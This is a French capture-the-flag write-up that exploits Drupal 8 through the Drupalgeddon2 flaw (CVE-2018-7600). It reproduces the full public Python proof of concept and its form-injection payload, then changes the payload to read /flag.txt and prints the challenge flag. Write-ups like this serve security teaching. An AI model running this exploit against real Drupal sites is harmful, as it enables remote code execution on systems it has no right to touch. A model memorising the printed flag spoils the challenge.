Vulnerable Composant
Consignes
Le flag se trouve à la racine !
Réalisation
Je me connecte au site et on observe différentes pages. En sa basant sur le titre du défi et aux outils utilisés par le site, on recherche une CVE. Le site utilise Drupal version 8. Pour trouver cela j'ai trouvé 2 méthodes :
Utiliser l'extension pour navigateur "Wappalyzer"
Se rendre à l'URL suivant :
http://ctfd-0.int.ecole2600.com:59136/core/CHANGELOG.txt
Une fois la version de Drupal obtenue, j'effectue une recherche sur ma machine via searchsploit
pour check les exploits concernant Drupal existants :
$ searchsploit Drupal| grep "< 8.*"
---------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------- ---------------------------------
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Exe | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Exe | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remo | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
---------------------------------------------------------------------- ---------------------------------
Cette recherche nous ressort les exploit utilisables pour les versions 8.x de Drupal. On choisi donc l'exploit qui nous intéresse (ici les exploit RCE - Remote Code Exe). On effectue donc une copie de l'exploit python dans le répertoire sur lequel nous travaillons via le chemin de l'exploit :
$ searchsploit -m php/webapps/44448.py
Exploit: Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)
URL: https://www.exploit-db.com/exploits/44448
Path: /opt/tools/exploitdb/exploits/php/webapps/44448.py
Codes: CVE-2018-7600
Verified: True
File Type: a import sys script, ASCII text executable
Copied to: /workspace/test/44448.py
Une fois l'exploit copié, nous l'exécutons pour observer ce qu'il fait nativement :
$ python3 44448.py
################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes
Enter target url (example: https://domain.ltd/): http://ctfd-link.com/
Check: http://ctfd-link.com/hello.txt
Une fois exécuté, le programme nous demande de check le lien suivant :
http://ctfd-link.com/hello.txt
Une fois présent sur la page mentionnée, nous obtenons ceci :

Le programme à réussi à créer un fichier nomme hello.txt
qui contient le texte ;-)
.
On analyse donc le contenu de l'exploit que nous avons exécuté :
#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
Le fichier contient une ligne payload
qui contient ceci :
{'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
Dans cette ligne, nous pouvons observer la partie du code qui permet à l'exploit d'injecter le texte ;-)
.
On modifie donc cette ligne afin d'y afficher le contenu de flag.txt
:
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'cat /flag.txt | tee hello.txt'}
Ici, on à modifié 'echo ";-)" | tee hello.txt'
par 'cat /flag.txt | tee hello.txt'
afin d'obtenir un affichage du FLAG puis on sauvegarde.
On exécute de nouveau l'exploit modifié et nous rendons de nouveau sur l'URL http://ctfd-link.com/hello.txt
.
Nous obtenons donc le FLAG :
2600{uo5Y_2bu1AdFWthnwzEdYfaMEXf7HeHCjM4861-6FxE}
Last updated